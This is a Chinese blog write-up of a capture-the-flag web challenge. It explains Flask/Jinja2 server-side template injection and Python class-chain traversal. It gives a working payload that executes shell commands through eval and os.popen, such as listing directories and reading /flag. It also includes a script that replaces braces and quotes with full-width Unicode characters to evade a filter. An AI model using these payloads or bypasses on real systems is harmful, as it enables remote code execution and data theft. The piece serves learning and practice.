easy_web攻防

抓包发现是python,想到flask ssti模板注入

flask使用jinjia2渲染引擎进行网页渲染,当处理不得当,未进行语句过滤,用户输入{{控制语句}},会导致渲染出恶意代码,形成注入

安装flask,requests模块

所有的子类都有一个共同的父类object,如果没指定继承,默认父类是object

__class__:返回当前类(输入abc,是字符串类,除此以外还有元组类,字典类等)

__mor__:返回解析函数时,类的调用顺序,通过索引的方式__mor,就可返回object类

还可以通过__base__:返回当前类父类(以字符串的形式)或者__bases__以元组的形式返回所有父类(元组可通过索引访问

print('abc'.__class__.__bases__[0].__subclasses__())
print('abc'.__class__.__base__.__subclasses__())这两者一样)

如果[]索引被过滤,可以用__getitem__ ()或者get方法来进行替换

print('abc'.__class__.__base__.__subclasses__().__getitem__(134))

发现{}被限制了

 

︷︸已经被格式化,我们测试下是否有ssti注入漏洞 

2*2被计算出来了,所以存在ssti 

ssti模板注入payload


{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}}

︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")︸︸

经过url编码

%EF%B8%B7%EF%B8%B7a.__init__.__globals__.__builtins__.eval(%EF%BC%82__import__(%EF%BC%87os%EF%BC%87).popen(%EF%BC%87ls%EF%BC%87).read()%EF%BC%82)%EF%B8%B8%EF%B8%B8

特殊字符绕过脚本

"""
{ -> ︷/﹛
} -> ︸/﹜
' -> '
, -> ,
" -> "
"""
//此时的str即你要输入的payload
str = '''{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")}}'''

# 原字符串
# 如果需要替换replace(被替换的字符,替换后的字符)
str = str.replace('{', '︷')
str = str.replace('}', '︸')
str = str.replace('\'', ''')
str = str.replace('\"', '"')

print(str)

︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('ls /').read()")︸︸

︷︷a.__init__.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")︸︸

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值